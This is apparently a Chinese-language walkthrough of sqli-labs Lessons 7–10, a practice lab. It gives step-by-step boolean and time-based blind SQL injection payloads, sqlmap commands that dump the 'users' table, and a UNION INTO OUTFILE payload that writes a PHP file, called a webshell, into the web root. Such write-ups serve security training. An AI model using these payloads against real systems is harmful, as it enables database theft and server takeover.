Lesson-7
该题为双括号单引号get型注入,利用方式包括布尔盲注、时间盲注
id=1'
目标SQL语句如下:
$sql = select * from users where id=(('$id')) limit 0,1# 返回内容if true: 输出 You are in.... Use outfile......else: 输出 You have an error in your SQL syntax
注意:本题与之前稍有不同,由于不输出数据库报错信息,因此不可以使用报错注入的注入方式,但是这并不影响正常使用布尔盲注、时间盲注。待验证完成后我们可将其放入sqlmap中跑数据即可
在此题中作者还希望我们导出数据,可在数据库中进行查询导出权限
show global variables like "%secure%";
我们主要看其中的secure_file_priv参数,不同的值代表不同的含义
null #不允许导入、导出/tmp/ #只允许在/tmp目录下导入、导出空 #不限制导入导出
在 mysql 配置文件中修改为secure_file_priv=并再次查询,发现 mysql 写入配置已开启
在 MySQL 中写入文件需满足以下几个条件:必须知道需要写入的文件目录(一般为站点目录)的绝对路径当前用户具有 FILE 权限需要读取的文件所有字节刻度,但内容必须小于max_allowed_packet与此同时还需要考虑路径转义问题,即使用\\分隔路径
通过布尔盲注判断注入点,尝试验证
id=1')) AND (('1'))=(('1 //返回正常界面
id=1')) AND (('1'))=(('2 //返回错误界面
查询长度
id=1')) and length(user())>1--+ //返回正常界面id=1')) and length(user())>20--+ //返回错误界面
确认长度为14位
id=1')) and length(user())=14--+ //返回正常界面
查询字符
id=1')) and substr(user(),1,1)='r'--+ //返回正常界面id=1')) and left(user(),1)='r'--+ //left()函数id=1')) and ascii(substr(user(),1,1))=114--+ //ASCII码
id=1')) and substr(user(),2,1)='r'--+ //返回错误界面
确定用户名为root@localhost
id=1')) and substr(user(),1,14)='root@localhost'--+
以此类推即可查询数据库名、表名、列名等
id=1')) and substr((select database()),1,14)='security'--+
由于盲注太过繁琐,可以使用 sqlmap 来获取信息
sqlmap -u "http://172.16.117.135/sqli/Less-7/?id=1" --dbms=mysql --flush-session --technique=B -v 3 -D security -T users --dump
存在注入点
扫描结果如下:
使用
insert into
导出文件需满足以下条件:
- 站点路径为
C:\phpStudy\PHPTutorial\WWW
- 当前用户为root,拥有站点目录的写入权限
- MySQL安全配置已关闭
以上条件已知,我们可以通过注入直接写入 webshell
id=1')) union select 1,2,"<?php phpinfo()?>" INTO OUTFILE "C:\\phpStudy\\PHPTutorial\\WWW\\mac.php"--+
成功写入
Lesson-8
该题为单引号get型注入,利用方式包括布尔盲注、时间盲注
id=1'
目标SQL语句如下:
$sql = select * from users where id='$id' limit 0,1 # 返回内容 if true: 输出 You are in.... else: 输出 You have an error in your SQL syntax
注意:本题与之前稍有不同,由于不输出数据库报错信息,因此不可以使用报错注入的注入方式,但是这并不影响正常使用布尔盲注、时间盲注。待验证完成后我们可将其放入sqlmap中跑数据即可
使用布尔盲注判断注入点,尝试验证 id=1' AND '1'='1 //返回正常界面
id=1' AND '1'='2 //返回错误界面
查询长度
id=1' and length(user())>1--+ //返回正常界面 id=1' and length(user())>20--+ //返回错误界面
确认长度为14位
id=1' and length(user())=14--+ //返回正常界面
查询字符
id=1' and substr(user(),1,1)='r'--+ //返回正常界面 id=1' and left(user(),1)='r'--+ //left()函数 id=1' and ascii(substr(user(),1,1))=114--+ //ASCII码
id=1' and substr(user(),2,1)='r'--+ //返回错误界面
确定用户名为root@localhost
id=1' and substr(user(),1,14)='root@localhost'--+
以此类推即可查询数据库名、表名、列名等
id=1' and substr((select database()),1,14)='security'--+
由于盲注太过繁琐,可以使用 sqlmap 来获取信息
sqlmap -u "http://172.16.117.135/sqli/Less-8/?id=1" --dbms=mysql --flush-session --technique=B -v 3 -D security -T users --dump
扫描结果如下:
Lesson-9
该题为单引号get型注入,利用方式包括时间盲注
id=1'
目标SQL语句如下:
$sql = select * from users where id='$id' limit 0,1 # 返回内容 if true: 输出 You are in.... else: 输出 You are in....
注意:本题与之前稍有不同,由于无论输入什么输出都相同,因此不可以使用布尔盲注的注入方式,但是这并不影响正常使用时间盲注。待验证完成后我们可将其放入sqlmap中跑数据即可
使用时间盲注判断注入点,尝试验证
id=1' AND sleep(5)--+ //界面响应需5秒以上
查询长度
id=1' and if(length(user())>1,sleep(5),0)--+ //界面响应需5秒以上 id=1' and if(length(user())>20,sleep(5),0)--+ //快速返回界面
确认长度为14位
id=1' and if(length(user())=14,sleep(5),0)--+ //界面响应需5秒以上
查询字符
id=1' and if(substr(user(),1,1)='r',sleep(5),0)--+ //界面响应需5秒以上 id=1' and if(left(user(),1)='r',sleep(5),0)--+ //left()函数 id=1' and if(ascii(substr(user(),1,1))=114,sleep(5),0)--+ //ASCII码
id=1' and if(substr(user(),1,1)='r',sleep(5),0)--+ //快速返回界面
确定用户名为root@localhost
id=1' and if(substr(user(),1,14)='root@localhost',sleep(5),0)--+
以此类推即可查询数据库名、表名、列名等
id=1' and if(substr((select database()),1,14)='security',sleep(5),0)--+
由于盲注太过繁琐,可以使用 sqlmap 来获取信息
sqlmap -u "http://172.16.117.135/sqli/Less-9/?id=1" --dbms=mysql --flush-session --technique=T -v 3 -D security -T users --dump
扫描结果如下:
Lesson-10
该题为双引号get型注入,利用方式包括时间盲注
id=1"
目标SQL语句如下:
$id = '"'.$id.'"'; $sql = select * from users where id=$id limit 0,1; # 返回内容 if true: 输出 You are in.... else: 输出 You are in....
注意:本题与之前稍有不同,由于无论输入什么输出都相同,因此不可以使用布尔盲注的注入方式,但是这并不影响正常使用时间盲注。待验证完成后我们可将其放入sqlmap中跑数据即可
使用时间盲注判断注入点,尝试验证
id=1" AND sleep(5)--+ //界面响应需5秒以上
查询长度
id=1" and if(length(user())>1,sleep(5),0)--+ //界面响应需5秒以上 id=1" and if(length(user())>20,sleep(5),0)--+ //快速返回界面
确认长度为14位
id=1" and if(length(user())=14,sleep(5),0)--+ //界面响应需5秒以上
查询字符
id=1" and if(substr(user(),1,1)='r',sleep(5),0)--+ //界面响应需5秒以上 id=1" and if(left(user(),1)='r',sleep(5),0)--+ //left()函数 id=1" and if(ascii(substr(user(),1,1))=114,sleep(5),0)--+ //ASCII码
id=1" and if(substr(user(),2,1)='r',sleep(5),0)--+ //快速返回界面
确定用户名为root@localhost
id=1" and if(substr((select database()),1,14)='security',sleep(5),0)--+
以此类推即可查询数据库名、表名、列名等
sqlmap -u "http://172.16.117.135/sqli/Less-10/?id=1" --dbms=mysql --flush-session --technique=T -v 3 -D security -T users --dump
由于盲注太过繁琐,可以使用 sqlmap 来获取信息
sqlmap -u "http://172.16.117.135/sqli/Less-10/?id=1" --dbms=mysql --flush-session --technique=T -v 3 -D security -T users --dump
但我们并没有扫描出结果,原因是 sqlmap 在默认情况下不会测试双引号,因此我们需要设置level=3
使 sqlmap 测试双引号
sqlmap -u "http://172.16.117.135/sqli/Less-10/?id=1"--dbms=mysql --flush-session--technique=T -v 3-D security-T users --dump --level=3
扫描结果如下: